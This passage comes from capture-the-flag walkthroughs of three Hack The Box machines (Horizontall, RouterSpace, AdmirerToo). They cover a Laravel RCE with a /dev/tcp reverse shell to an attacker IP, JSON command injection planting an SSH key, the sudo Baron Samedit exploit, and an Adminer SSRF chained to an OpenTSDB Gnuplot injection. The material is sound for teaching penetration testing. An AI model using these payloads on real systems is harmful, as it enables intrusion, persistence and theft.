`3306` is the default MySQL port so that leaves `1337` and `8000` to be investigated.

Running `curl 127.0.0.1:1337` shows that port `1337` simply contains the Strapi CMS page with the "Welcome" message. Running `curl 127.0.0.1:8000` shows that port `8000` contains an application using the Laravel framework.

We can forward this port to our attack machine by running `ssh -i /home/kali/.ssh/id_rsa -L 8000:localhost:8000 strapi@horizontall.htb`. Now, navigating to `localhost:8000` on the attack machine will render the webpage.

Let's try bruteforcing directories with `gobuster dir -u http://localhost:8000 -t 100 -w /usr/share/wordlists/dirb/common.txt`.

```
/.htaccess            (Status: 200) [Size: 603]
/favicon.ico          (Status: 200) [Size: 0]  
/index.php            (Status: 200) [Size: 17473]
/profiles             (Status: 500) [Size: 616206]
/robots.txt           (Status: 200) [Size: 24]
```

The `/profiles` endpoint looks interesting since it is large. We find a Laravel debug page, which means that Laravel is in debug mode. If we click "Context" we see that version `8.43.0` of Laravel is being used.

Let's see if there are any vulnerabilities for this. Using `searchsploit laravel` we find "8.4.2 debug mode - Remote code execution," which we can copy to our home directory with `searchsploit -m 49424.py`. Alternatively, one of these scripts can be used: [zhzyker/CVE-2021-3129](https://github.com/zhzyker/CVE-2021-3129) or [nth347/CVE-2021-3129\_exploit](https://github.com/nth347/CVE-2021-3129_exploit).

According to the script, we need the path to the laravel log file, which we can figure out by looking at the debug mode page. The page says "Undefined variable: informat (View: /home/developer/myproject/resources/views/profile/index.blade.php)", which gives us the path to the laravel framework: `/home/developer/myproject/`. [Searching online for the log location](https://laravel.com/docs/4.2/errors#logging) reveals they are stored in `app/storage/logs/laravel.log`. Therefore, the log path is `/home/developer/myproject/storage/logs/laravel.log`.

Running `python3 49424.py http://localhost:8000 /home/developer/myproject/storage/logs/laravel.log 'id'` displays `uid=0(root) gid=0(root) groups=0(root)`, which means our command is executed as root. Let's use a reverse shell as a payload and open a listener on our attacker machine: `python3 49424.py http://localhost:8000 /home/developer/myproject/storage/logs/laravel.log 'bash -c "sh -i >& /dev/tcp/10.10.14.97/35965 0>&1"'"` and `pwncat-cs -lp 35965`. After waiting a few seconds we get a root reverse shell.

We can get the `root.txt` flag with `cat /root/root.txt`. We can gain persistance as `root` with `pwncat` by running `run implant.authorized_key key=/home/kali/.ssh/id_rsa` in the local shell.


# RouterSpace

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.129.145.44 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.129.145.44`.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     (protocol 2.0)
| ssh-hostkey:
|   3072 f4:e4:c8:0a:a6:af:66:93:af:69:5a:a9:bc:75:f9:0c (RSA)
|   256 7f:05:cd:8c:42:7b:a9:4a:b2:e6:35:2c:c4:59:78:02 (ECDSA)
|_  256 2f:d7:a8:8b:be:2d:10:b0:c9:b4:29:52:a8:94:24:78 (ED25519)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-RouterSpace Packet Filtering V1
80/tcp open  http
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 200 OK
|     X-Powered-By: RouterSpace
|     X-Cdn: RouterSpace-93510
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 67
|     ETag: W/"43-5AQ/3yeu6I127HUQ7/Y7ENtaNIE"
|     Date: Tue, 01 Mar 2022 01:38:31 GMT
|     Connection: close
|     Suspicious activity detected !!! {RequestID: m mGL rt 7 E }
|   GetRequest:
|     HTTP/1.1 200 OK
|     X-Powered-By: RouterSpace
|     X-Cdn: RouterSpace-5226
|     Accept-Ranges: bytes
|     Cache-Control: public, max-age=0
|     Last-Modified: Mon, 22 Nov 2021 11:33:57 GMT
|     ETag: W/"652c-17d476c9285"
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 25900
|     Date: Tue, 01 Mar 2022 01:38:31 GMT
|     Connection: close
|     <!doctype html>
|     <html class="no-js" lang="zxx">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>RouterSpace</title>
|     <meta name="description" content="">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/owl.carousel.min.css">
|     <link rel="stylesheet" href="css/magnific-popup.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/themify-icons.css">
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     X-Powered-By: RouterSpace
|     X-Cdn: RouterSpace-67833
|     Allow: GET,HEAD,POST
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 13
|     ETag: W/"d-bMedpZYGrVt1nR4x+qdNZ2GqyRo"
|     Date: Tue, 01 Mar 2022 01:38:31 GMT
|     Connection: close
|     GET,HEAD,POST
|   RTSPRequest, X11Probe:
|     HTTP/1.1 400 Bad Request
|_    Connection: close
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: RouterSpace
```

Scan for UDP services with `sudo nmap -sU -r -T5 10.129.145.44 -v`. This finds nothing:

```
PORT   STATE  SERVICE
22/udp closed ssh
80/udp closed http
```

### Website (Port `80`)

Let's brute force directories with `ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.129.145.44/FUZZ -fs 50-90`:

```
css                     [Status: 301, Size: 173, Words: 7, Lines: 11]
fonts                   [Status: 301, Size: 177, Words: 7, Lines: 11]
img                     [Status: 301, Size: 173, Words: 7, Lines: 11]
js                      [Status: 301, Size: 171, Words: 7, Lines: 11]
```

This does not find anything.

Clicking the download button on the website downloads a RouterSpace.apk file.

### Android App (Downloaded APK)

#### Dynamic Approach (Hours of Time = Nothing)

I first tried to figure out what this android app did via dynamic debugging. This took many hours and I never could get it to work. The static approach was much more simpler and easy to understand for me. Anyway, here is the record of things I tired:

We need an android emulator to dynamically debug this application. I tried [Android Studio](https://developer.android.com/studio), [Genymotion](https://www.genymotion.com/), and [Anbox](https://anbox.io/). I wasn't able to use any of them to extract the necessary information from the app, but Android Studio is the best option since it comes directly from Google, the makers of Android.

I used Android Studio to start a emulated Android phone and then I dragged and dropped the RouterSpace APK onto it to install it. Next, clicking on the button causes creates a popup that says there is no internet connection. So, it must be trying to make some kind of network request. I made sure the HackTheBox VPN was connected and added `routerspace.htb` to my `/etc/hosts` file. I did this because the release arena machine IP addresses are all different while the app never changed. Therefore, the app didn't have a hardcoded IP address and instead would need to do a DNS lookup. I assumed the machine would follow the pattern of previous HackTheBox machines so I used `routerspace.htb`.

Then, I tried capturing network traffic with a variety of tools. All of them worked and captured traffic, but none of them captured the RouterSpace application's network requests since they never went through. Anyway, I tried [HTTP Toolkit](https://httptoolkit.tech/) with [this guide](https://httptoolkit.tech/blog/inspect-any-android-apps-http/), BurpSuite by following [this guide](https://portswigger.net/support/configuring-an-android-device-to-work-with-burp)(make sure BurpSuite is listening on all interfaces when you add the proxy), and [mitmproxy](https://mitmproxy.org/) ([GitHub Repo](https://github.com/mitmproxy/mitmproxy)). After trying all of these the app still gave the connection error. For BurpSuite and mitmproxy, I added the proxy details within the Android Studio emulator settings window (HTTP Toolkit uses a VPN connection created via their app instead of a system-wide proxy). [mitmproxy](https://mitmproxy.org/) is probably the best tool here if all you want to do is capture network traffic since it is really simple to use. BurpSuite is more powerful, but is more complicated to set up and we don't need its extra features here.

Next, I installed [Genymotion](https://www.genymotion.com/) since I thought maybe the Android Studio emulator wasn't working properly. I created a device and installed the RouterSpace app. The app still refused to connect. I tried both BurpSuite and mitmproxy, but didn't capture any network traffic from the app.

At this point, I literally created a fresh Ubuntu machine. I installed [Anbox](https://anbox.io/) via snap by running `snap install --devmode --beta anbox` and installed the RouterSpace application by first getting the `adb` command with `sudo apt install android-tools-adb` and then running `adb install RouterSpace.apk`. I tried both mitmproxy and BurpSuite by adding the proxies with this command: `adb shell settings put global http_proxy <ip>:<port>` (command from [this StackOverflow answer](https://stackoverflow.com/a/47476009)), but still could not get network traffic from the app.

#### Static Approach (Quick and Easy)

I first tried using [JADX](https://github.com/skylot/jadx) shows that it is a React Native application. I used `apktool d RouterSpace.apk` to decompile and then in the `assets` folder there will be a `index.android.bundle` file containing the React Native Application. Tried using [jsnice.org](http://jsnice.org) on this whole file but also used [richardfuca/react-native-decompiler](https://github.com/richardfuca/react-native-decompiler) to hopefully clean up the code a little. It turns out that just using [jsnice.org](http://jsnice.org) is better once you find the relevant code snippet. Searching for the "connet" string, which I observed in an error message when emulating the app, finds the actually important code. I originally thought that trying to manually reverse this would be difficult, but it isn't too hard.

First, I copied out the `__d` function that contained the word "connet" and put it in [code\_1.js](https://github.com/HHousen/hack-the-box/blob/master/Machines/RouterSpace/reversing_app/code_1.js) with some basic automatic formatting. I put [code\_1.js](https://github.com/HHousen/hack-the-box/blob/master/Machines/RouterSpace/reversing_app/code_1.js) through [jsnice.org](http://jsnice.org), which cleaned it up a little, and pasted the output in [code\_2.js](https://github.com/HHousen/hack-the-box/blob/master/Machines/RouterSpace/reversing_app/code_2.js). Then, I began simplifying and deobfuscating the code in [code\_3.js](https://github.com/HHousen/hack-the-box/blob/master/Machines/RouterSpace/reversing_app/code_3.js). I created [code\_4.js](https://github.com/HHousen/hack-the-box/blob/master/Machines/RouterSpace/reversing_app/code_4.js) once I figured out how the `render` function's `output` variable was modified. I used the `node` console to run bits of code to avoid having to completely reverse them. Eventually, I was able to determine what was in the `data` dictionary. I pasted the whole thing into the `node` shell so it would evaluate it and then I printed it out, which revealed this:

```
{
  gUnlE: 'info',
  uAiCt: 'Hey !',
  PpdRl: 'Router is working fine!.',
  JHvFI: '[ DEBUG ] Router is working fine!.',
  vESlr: [Function: vESlr],
  SZqEq: '[ RESPOND ] ',
  EKNxl: 'error',
  DKyDg: 'Unable to connet to the server !',
  XvhFJ: 'Please check your internet connection.',
  shxxV: '[ DEBUG ] Please check your internet connection.',
  OgZoU: [Function: OgZoU],
  mGNnc: 'Sorry !',
  HrHYj: 'Please provide an IP Address.',
  tzoEq: '[ DEBUG ] Please provide an IP Address.',
  EwCVL: 'http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess',
  ugPGw: 'RouterSpaceAgent',
  UWIVj: 'application/json',
  OLDvc: 'transparent',
  gKQYs: 'Check Status',
  YnNsf: 'bottom',
  GHjuW: '0.0.0.0'
}
```

As we can see under the `EwCVL` key there is the URL the app tries to access. So, the code `searchSelect2(249) + searchSelect2(192) + searchSelect2(156) + searchSelect2(205) + searchSelect2(195) + searchSelect2(161) + searchSelect2(238)` evaluates to `http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess`.

We can figure out that `searchSelect2(241)` evaluates to `EwCVL`, which means `data[searchSelect2(241)]` evaluates to the URL.

After simplifying the code and evaluating a lot of the calls to `searchSelect2` in [code\_5.js](https://github.com/HHousen/hack-the-box/blob/master/Machines/RouterSpace/reversing_app/code_5.js), we see that the app performs a post request to `http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess` with the headers `User-Agent: RouterSpaceAgent` and `Content-Type: application/json`. The app sends at least one key value pair as JSON. We know that the key is `ip` since the app checks to make sure it is not `0.0.0.0`.

### API

Trying to make the same request as the app does, we write the following:

```
curl -X POST -H "User-Agent: RouterSpaceAgent" -H "Content-Type: application/json" --data '{"ip": "0.0.0.0"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
```

This just returns our input, `0.0.0.0`, back to use.

Next, we try a command injection:

```
curl -X POST -H "User-Agent: RouterSpaceAgent" -H "Content-Type: application/json" --data '{"ip": ";whoami"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
```

This returns `"\npaul\n"`. So, we have a command injection!

## Foothold

### Revere Shell (Didn't Work)

In theory, we can exploit this command injection with a basic `bash` reverse shell. Start a listener with netcat (`nc -nvlp 58437`) or `pwncat` (`pwncat-cs -lp 58437`). Then, we can encode the reverse shell `bash -i >& /dev/tcp/10.10.15.49/58437 0>&1` to base64 with `echo -n "bash -i >& /dev/tcp/10.10.15.49/58437 0>&1" | base64` to get `YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS40OS81ODQzNyAwPiYx`. We encode to base64 to remove illegal characters. Now, our payload is `;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS40OS81ODQzNyAwPiYx | base64 -d | bash` (we need to `;` at the front so we can run it after whatever command is being run).

We can use `curl` to execute our payload by running the following command:

```
curl -X POST -H "User-Agent: RouterSpaceAgent" -H "Content-Type: application/json" --data '{"ip": ";echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS40OS81ODQzNyAwPiYx | base64 -d | bash"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
```

However, running this did not work. In fact, I couldn't even ping my attacker machine from the target box with a command like this:

```
curl -X POST -H "User-Agent: RouterSpaceAgent" -H "Content-Type: application/json" --data '{"ip": ";ping -c 3 10.10.14.14 &"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
```

So, instead I just added my SSH public key to the `paul` user's `~/.ssh/authorized_keys` file.

### `authorized_keys` file

We can add our ssh public key to by running this command:

```
curl -X POST -H "User-Agent: RouterSpaceAgent" -H "Content-Type: application/json" --data '{"ip": ";echo '\''[PUBLIC KEY TEXT HERE]'\'' > /home/paul/.ssh/authorized_keys"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
```

The `'\''` sequence is used to escape the single quote (`'`) and was learned from [this StackOverflow answer](https://stackoverflow.com/a/39802572).

## Privilege Escalation

Now, we can connect with `ssh paul@routerspace.htb -i /home/kali/.ssh/id_rsa` (or `pwncat-cs paul@routerspace.htb --identity /home/kali/.ssh/id_rsa`).

We upload LinPEAS (`upload linpeas.sh` in `pwncat`) and run it with `bash linpeas.sh`. This doesn't show much but says `sudo` version `1.8.31` is installed, which we can also see by running `sudo -V`.

Searching for "sudo 1.8.31 exploit" finds [CVE-2021-3156](https://nvd.nist.gov/vuln/detail/CVE-2021-3156) and [this associated blog post](https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit). [Here is a video by LiveOverflow about CVE-2021-3156](https://www.youtube.com/watch?v=TLa2VqcGGEQ).

We can run the following command to see if we are vulnerable ([from sudo advisory](https://www.sudo.ws/security/advisories/unescape_overflow/)):

```
sudoedit -s '\' `perl -e 'print "A" x 65536'`
```

This outputs the following, which means `sudo` is vulnerable:

```
malloc(): corrupted top size
Aborted (core dumped)
```

We can exploit this vulnerability to get root using [CptGibbon/CVE-2021-3156](https://github.com/CptGibbon/CVE-2021-3156). Download the repo to your attacker machine with `git clone https://github.com/CptGibbon/CVE-2021-3156.git` and then upload the `Makefile`, `shellcode.c`, and `exploit.c` files. Finally, run `make` and `./exploit` to get a shell as root.

Now, just `cat /root/root.txt` to get the `root.txt` flag.


# AdmirerToo

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.137 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.137`.

```
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 99:33:47:e6:5f:1f:2e:fd:45:a4:ee:6b:78:fb:c0:e4 (RSA)
|   256 4b:28:53:64:92:57:84:77:5f:8d:bf:af:d5:22:e1:10 (ECDSA)
|_  256 71:ee:8e:e5:98:ab:08:43:3b:86:29:57:23:26:e9:10 (ED25519)
80/tcp    open     http    Apache httpd 2.4.38 ((Debian))
|_http-title: Admirer
|_http-server-header: Apache/2.4.38 (Debian)
16010/tcp filtered unknown
16030/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Scan for UDP services with `sudo nmap -p- -sU -r -T5 10.10.11.137 -v` (`-r` specifies that ports will be scanned sequentially instead of randomly. we do this because services are more likely to be running on ports 1-1000.). This finds nothing.

### Apache (Port `80`)

Let's brute force directories with `ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.10.11.137/FUZZ`:

```
.htaccess               [Status: 403, Size: 328, Words: 21, Lines: 10]
.htpasswd               [Status: 403, Size: 328, Words: 21, Lines: 10]
css                     [Status: 301, Size: 361, Words: 21, Lines: 10]
fonts                   [Status: 301, Size: 363, Words: 21, Lines: 10]
img                     [Status: 301, Size: 361, Words: 21, Lines: 10]
js                      [Status: 301, Size: 360, Words: 21, Lines: 10]
manual                  [Status: 301, Size: 364, Words: 21, Lines: 10]
```

Nothing interesting is found.

Going to a nonexistent page, like `http://10.10.11.137/testing`, shows a generic 404 page but with an email address in a `mailto` link: `webmaster@admirer-gallery.htb`.

Let's add that domain to `/etc/hosts`: `echo "10.10.11.137 admirer-gallery.htb" | sudo tee -a /etc/hosts`.

### Virtual Host Scanning

Now that we know the domain name, we can scan for other virtual hosts. Let's scan for subdomains with `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://admirer-gallery.htb/ -H "Host: FUZZ.admirer-gallery.htb" -fs 14099`:

```
db                      [Status: 200, Size: 2569, Words: 113, Lines: 63]
```

Let's add the new `db` subdomain to `/etc/hosts`: `echo "10.10.11.137 db.admirer-gallery.htb" | sudo tee -a /etc/hosts`.

### Adminer

Navigating to `http://db.admirer-gallery.htb` shows that it is running [Adminer](https://www.adminer.org/) version 4.7.8. Adminer "is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a single file ready to deploy to the target server."

Clicking on the "Login" button brings us to a database management page. Looking at the network tab in developer tools we can see that a post request was made when clicking the button with the below data:

```
auth[driver]: "server"
auth[server]: "localhost"
auth[username]: "admirer_ro"
auth[password]: "1w4nn4b3adm1r3d2!"
auth[db]: "admirer"
auth[permanent]: "1"
```

So, we have database credentials, but trying them in various places does not do anything.

Searching for "adminer 4.7.8 exploit" online finds [CVE-2021-21311](https://nvd.nist.gov/vuln/detail/CVE-2021-21311): "Adminer is an open-source database management in a single PHP file. In adminer from version 4.0.0 and before 4.7.9 there is a server-side request forgery vulnerability. Users of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected. This is fixed in version 4.7.9." Here is a [great article by PortSwigger about SSRF exploits](https://portswigger.net/web-security/ssrf).

Looking around at the relevant links for `CVE-2021-21311`, we find [this pdf](https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf) describing how to exploit the vulnerability.

Essentially, we can modify the login request that was sent such that `driver` is set to "elasticsearch" and `server` is set to a server running on our machine that returns a `301` redirect to a website we want to access. This can be an internal website running locally, which will hopefully contain sensitive information.

Let's test the vulnerability by starting a webserver on our machine with `python3 -m http.server 80`. Then, we can intercept the login request using BurpSuite and change it to look like so: `auth%5Bdriver%5D=elastic&auth%5Bserver%5D=10.10.14.169&auth%5Busername%5D=admirer_ro&auth%5Bpassword%5D=1w4nn4b3adm1r3d2%21&auth%5Bdb%5D=admirer&auth%5Bpermanent%5D=1`. We changed the `driver` to `elastic` and the `server` to our `tun0` ip address. Forwarding the request in BurpSuite produces the following in our http server logs: `10.10.11.137 - - [27/Feb/2022 16:54:22] "GET / HTTP/1.0" 200 -`, which means the application is visiting our page. Now, we can use the [script included in the poc pdf](https://gist.github.com/bpsizemore/227141941c5075d96a34e375c63ae3bd) to start a basic server that `301` redirects where we want:

```python
#!/usr/bin/env python

import SimpleHTTPServer
import SocketServer
import sys
import argparse

def redirect_handler_factory(url):
    """
    Returns a request handler class that redirects to supplied `url`
    """
    class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
           self.send_response(301)
           self.send_header('Location', url)
           self.end_headers()

       def do_POST(self):
           self.send_response(301)
           self.send_header('Location', url)
           self.end_headers()

    return RedirectHandler


def main():

    parser = argparse.ArgumentParser(description='HTTP redirect server')

    parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
    parser.add_argument('--ip', '-i', action="store", default="", help='host interface to listen on')
    parser.add_argument('redirect_url', action="store")

    myargs = parser.parse_args()

    redirect_url = myargs.redirect_url
    port = myargs.port
    host = myargs.ip

    redirectHandler = redirect_handler_factory(redirect_url)

    handler = SocketServer.TCPServer((host, port), redirectHandler)
    print("serving at port %s" % port)
    handler.serve_forever()

if __name__ == "__main__":
    main()
```

We start the redirect server with `python2 redirect.py --ip 10.10.14.169 http://localhost`. Now, intercepting the login request in BurpSuite and changing it the same as what we did previously, the login page displays a red error box with the source code for the service running on port 80.

Searching for the vulnerability on GitHub finds [llhala/CVE-2021-21311](https://github.com/llhala/CVE-2021-21311), which is an all-in-one script that will automatically parse the login page and pull out the retrieved source code.

We cannot bruteforce ports because after failing to "sign in" too many times we get this message "Too many unsuccessful logins, try again in 21 minutes."

Apparently, we were supposed to find port `4242` as filtered in our `nmap` report. So, let's try that.

We can run the [llhala/CVE-2021-21311](https://github.com/llhala/CVE-2021-21311) exploit script with `python3 CVE-2021-21311.py --host 10.10.14.169 --url http://db.admirer-gallery.htb --redirect http://127.0.0.1:4242`, which returns the following:

```
<!DOCTYPE html><html><head><meta http-equiv=content-type content="text/html;charset=utf-8"><title>OpenTSDB</title>
<style><!--
body{font-family:arial,sans-serif;margin-left:2em}A.l:link{color:#6f6f6f}A.u:link{color:green}.fwf{font-family:monospace;white-space:pre-wrap}//--></style><script type=text/javascript language=javascript src=s/queryui.nocache.js></script></head>
<body text=#000000 bgcolor=#ffffff><table border=0 cellpadding=2 cellspacing=0 width=100%><tr><td rowspan=3 width=1% nowrap><img src=s/opentsdb_header.jpg><td>&nbsp;</td></tr><tr><td><font color=#507e9b><b></b></td></tr><tr><td>&nbsp;</td></tr></table><div id=queryuimain></div><noscript>You must have JavaScript enabled.</noscript><iframe src=javascript:'' id=__gwt_historyFrame tabIndex=-1 style=position:absolute;width:0;height:0;border:0></iframe><table width=100% cellpadding=0 cellspacing=0><tr><td class=subg><img alt="" width=1 height=6></td></tr></table></body></html>
```

### OpenTSDB (`localhost:4242`)

According to the [OpenTSDB/opentsdb GitHub repo](https://github.com/OpenTSDB/opentsdb), "OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase. OpenTSDB was written to address a common need: store, index and serve metrics collected from computer systems (network gear, operating systems, applications) at a large scale, and make this data easily accessible and graphable."

Searching for "opentsdb get version" finds [documentation for the `/api/version`](http://opentsdb.net/docs/build/html/api_http/version.html) endpoint. Let's get that endpoint using the Adminer exploit script by running `python3 CVE-2021-21311.py --host 10.10.14.169 --url http://db.admirer-gallery.htb --redirect http://127.0.0.1:4242/api/version`:

```
{"short_revision":"14ab3ef","repo":"/home/hobbes/OFFICIAL/build","host":"clhbase","version":"2.4.0","full_revision":"14ab3ef8a865816cf920aa69f2e019b7261a7847","repo_status":"MINT","user":"hobbes","branch":"master","timestamp":"1545014415"}
```

According to the [releases page](https://github.com/OpenTSDB/opentsdb/releases), v2.4.1 is the latest version. In the changelog we see "Fix for [CVE-2020-35476](https://github.com/advisories/GHSA-hv53-q76c-7f8c) that now validates and limits the inputs for Gnuplot query parameters to prevent remote code execution." This leads us to [this GitHub issue](https://github.com/OpenTSDB/opentsdb/issues/2051) ([relevant GitHub advisory](https://github.com/advisories/GHSA-hv53-q76c-7f8c)), which has a poc: `http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('touch/tmp/poc.txt')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json`.

### Foothoold (Adminer + OpenTSDB)

So, we should be able to run arbitrary commands by chaining this exploit together with our Adminer exploit. Let's try simply running the poc with `python3 CVE-2021-21311.py --host 10.10.14.169 --url http://db.admirer-gallery.htb --redirect "http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('touch/tmp/poc.txt')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"`.

This produces the following (we replaced the  with newlines.):

```
{"err":"java.lang.RuntimeException: Unexpected exception
\tat net.opentsdb.core.TSQuery.buildQueries(TSQuery.java:224) ~[tsdb-2.4.0.jar:14ab3ef]
\tat net.opentsdb.tsd.GraphHandler.doGraph(GraphHandler.java:172) ~[tsdb-2.4.0.jar:14ab3ef]
\tat net.opentsdb.tsd.GraphHandler.execute(GraphHandler.java:123) ~[tsdb-2.4.0.jar:14ab3ef]
\tat net.opentsdb.tsd.RpcHandler.handleHttpQuery(RpcHandler.java:282) [tsdb-2.4.0.jar:14ab3ef]
\tat net.opentsdb.tsd.RpcHandler.messageReceived(RpcHandler.java:133) [tsdb-2.4.0.jar:14ab3ef]
\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.timeout.IdleStateAwareChannelUpstreamHandler.handleUpstream(IdleStateAwareChannelUpstreamHandler.java:36) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.timeout.IdleStateHandler.messageReceived(IdleStateHandler.java:294) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.codec.http.HttpContentEncoder.messageReceived(HttpContentEncoder.java:82) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.SimpleChannelHandler.handleUpstream(SimpleChannelHandler.java:88) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.codec.http.HttpContentDecoder.messageReceived(HttpContentDecoder.java:108) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.codec.http.HttpChunkAggregator.messageReceived(HttpChunkAggregator.java:145) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:296) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.codec.frame.FrameDecoder.unfoldAndFireMessageReceived(FrameDecoder.java:459) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.callDecode(ReplayingDecoder.java:536) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.codec.replay.ReplayingDecoder.messageReceived(ReplayingDecoder.java:435) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline.sendUpstream(DefaultChannelPipeline.java:564) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.DefaultChannelPipeline$DefaultChannelHandlerContext.sendUpstream(DefaultChannelPipeline.java:791) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.Channels.fireMessageReceived(Channels.java:296) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.codec.frame.FrameDecoder.unfoldAndFireMessageReceived(FrameDecoder.java:462) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.codec.frame.FrameDecoder.callDecode(FrameDecoder.java:443) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.handler.codec.frame.FrameDecoder.messageReceived(FrameDecoder.java:303) [netty-3.10.6.Final.jar:na]
\tat org.jboss.netty.channel.SimpleChannelUpstreamHandler.handleUpstream(SimpleChannelUpstreamHandler.java:70) [netty-3.10.6.Final.jar:na]
